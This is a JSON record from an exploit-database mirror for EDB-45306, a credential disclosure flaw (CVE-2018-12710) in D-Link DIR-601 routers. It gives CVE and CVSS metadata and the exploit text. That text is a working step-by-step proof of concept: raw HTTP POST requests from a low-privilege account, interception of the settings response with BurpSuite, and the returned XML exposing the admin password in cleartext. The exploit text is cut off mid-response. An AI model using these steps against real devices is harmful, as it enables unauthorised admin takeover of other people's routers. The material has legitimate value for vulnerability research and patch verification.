{"exploit":{"id":"EDB-45306","name":"D-Link DIR-601 - Credential Disclosure","description":"D-Link DIR-601 - Credential Disclosure","cves":["CVE-2018-12710"],"author":"Kevin Randall","published":"2018-08-30","platform":"hardware","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/45306","path":"exploits/hardware/webapps/45306.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-45306.txt","vulnerabilities":[{"id":"CVE-2018-12710","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered on D-Link DIR-601 2.02NA devices. Being local to the network and having only \"User\" account (which is a low privilege account) access, an attacker can intercept the response from a POST request to obtain \"Admin\" rights due to the admin password being displayed in XML.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-12710","cvss":{"version":"3.0","baseScore":8,"severity":"high","vectorString":"CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-12710"},"updatedAt":"2024-08-05T08:45:02.120Z","retrievedAt":"2026-11-27T01:11:22.109Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-45306.png?v=2","url":"https://exploitbin.com/exploits/EDB-45306","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-45306/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-45306/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: DLink DIR-601 - Credential Disclosure\n# Google Dork: N/A\n# Date: 2018-06-24\n# Exploit Author: Kevin Randall\n# Vendor Homepage: https://www.dlink.com\n# Software Link: N/A\n# Version: Firmware: 2.02NA Hardware Version B1\n# Tested on: Windows 10 + Mozilla Firefox\n# CVE : CVE-2018-12710\n\n# 1. Description\n# Being local to the network and having only \"User\" account (which is a low privilege account)\n# access, an attacker can intercept the response from a POST request to obtain \"Admin\"\n# rights due to the admin password being displayed in XML.\n\n# 2. Proof of Concept\n# Tools to use:\n# - BurpSuite\n# - Browser of your choice\n\n# 3: Login with \"User\" role account:\n*My \"User\" role account does not have a password in this example*\nPOST /my_cgi.cgi?0.4008728147399542 HTTP/1.1\nHost: 192.168.0.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0\nAccept: */*\nAccept-Language: en-AU,en-US;q=0.7,en;q=0.3\nAccept-Encoding: gzip, deflate\nReferer: http://192.168.0.1/login_real.htm\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 64\nDNT: 1\nConnection: close\n\nrequest=login&user_user_name=dXNlcg==&user_user_pwd=&user_type=1\n\n# 4: When logged into the access point, click on the Tools option\n\n# 5: You should see a request similar to the following:\n\nPOST /my_cgi.cgi?0.9277791631615954 HTTP/1.1\nHost: 192.168.0.1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0\nAccept: */*\nAccept-Language: en-AU,en-US;q=0.7,en;q=0.3\nAccept-Encoding: gzip, deflate\nReferer: http://192.168.0.1/tools_admin.htm\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 277\nDNT: 1\nConnection: close\n\nrequest=load_settings&table_name=admin_user&table_name=user_user&table_name=graph_auth&table_name=remote_management&table_name=system&table_name=virtual_server&table_name=port_forwarding&table_name=application_rules&table_name=inbound_filter&table_name=fw_ver&table_name=hw_ver\n\n# 6: Right click on this request and choose \"Do Intercept response from this request\"\n\n# 7: You will see a response similar to the following:\n\nHTTP/1.1 200 OK\nContent-type: text/xml\nConnection: close\nDate: Sat, 01 Jan 2011 00:19:56 GMT\nServer: lighttpd/1.4.28\nContent-Length: 20088\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?><root><login_level>0</login_level><admin_user><admin_user_name>admin</admin_user_name>\n<admin_user_pwd>testagain</admin_user_pwd><admin_level>1</admin_level></admin_user><user_user><user_user_name>user</user_user_name>\n<user_user_pwd></user_user_pwd><user_level>0 ...","sha256":"5614c9d3234a0281385e28a75f9c7c82aa981a1d499536e06873e5ae133c6236","bytes":2546,"fetchedAt":"2026-11-27T01:11:15.424Z","encoding":"utf-8 (display only; download retains original bytes)"}